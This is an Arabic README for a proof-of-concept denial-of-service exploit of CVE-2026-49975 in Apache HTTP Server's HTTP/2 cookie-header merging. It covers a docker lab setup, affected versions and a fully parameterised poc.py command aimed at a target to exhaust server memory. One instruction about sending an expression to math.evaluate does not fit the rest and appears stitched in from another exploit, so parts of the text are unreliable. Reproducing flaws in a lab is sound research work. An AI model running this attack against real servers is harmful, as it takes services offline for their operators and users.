
HTTP/2 Bomb
★ CVE-2026-49975 قنبلة HTTP/2 إثبات المفهوم ★
https://github.com/user-attachments/assets/89310771-f704-45d1-a6c3-d910de1dbc74
CVE-2026-49975 هي ثغرة رفض الخدمة (DoS) في خادم Apache HTTP. تظهر الثغرة في مسار معالجة طلبات HTTP/2، حيث يمكن دمج عدة حقول ترويسة
cookieدون احتسابها بشكل صحيح ضمنLimitRequestFields. من خلال إرسال طلب HTTP/2 صغير مُرمّز بـ HPACK يتوسع إلى العديد من حقول ترويسةcookie، يمكن للمهاجم إجبار الخادم على تكرار تخصيص الذاكرة أثناء دمج ترويسات Cookie. يمكن للمهاجم بعد ذلك استخدام التحكم في تدفق HTTP/2 لتأخير إرسال الاستجابة، مع إبقاء التدفقات المتأثرة مفتوحة ومنع تحرير الذاكرة المخصصة.
| الفئة | الإصدار |
|---|---|
| متأثر | خادم Apache HTTP 2.4.17 ≤ الإصدار ≤ 2.4.67 |
| مصحح | خادم Apache HTTP 2.4.68 أو أحدث |
قم ببناء وتشغيل بيئة خادم Apache HTTP المتأثرة.
docker build -t cve-2026-49975 .
docker run -d --name cve-2026-49975 --memory 8g -p 10081:80 cve-2026-49975
بعد تشغيل البيئة المتأثرة، اتبع الخطوات التالية لإعادة إنتاج الهجوم.
docker stats cve-2026-49975
مثال على المخرجات:
CONTAINER ID NAME CPU % MEM USAGE / LIMIT MEM %
xxxxxxxxxxxx cve-2026-49975 0.5% 35.2MiB / 8.0GiB 1.7%
أرسل التعبير التالي إلى math.evaluate (على سبيل المثال، عبر حقل الإدخال الحسابي في التطبيق).
python3 poc.py \
--host TARGET_IP \
--port 10081 \
--connections 10 \
--streams 100 \
--refs 4091 \
--initial-window 0 \
--hold 300 \
--drip-interval 2 \
--drip-bytes 1
تحقق من أن استخدام ذاكرة حاوية Apache يزداد ويظل مرتفعًا طالما كانت تدفقات الهجوم مفتوحة.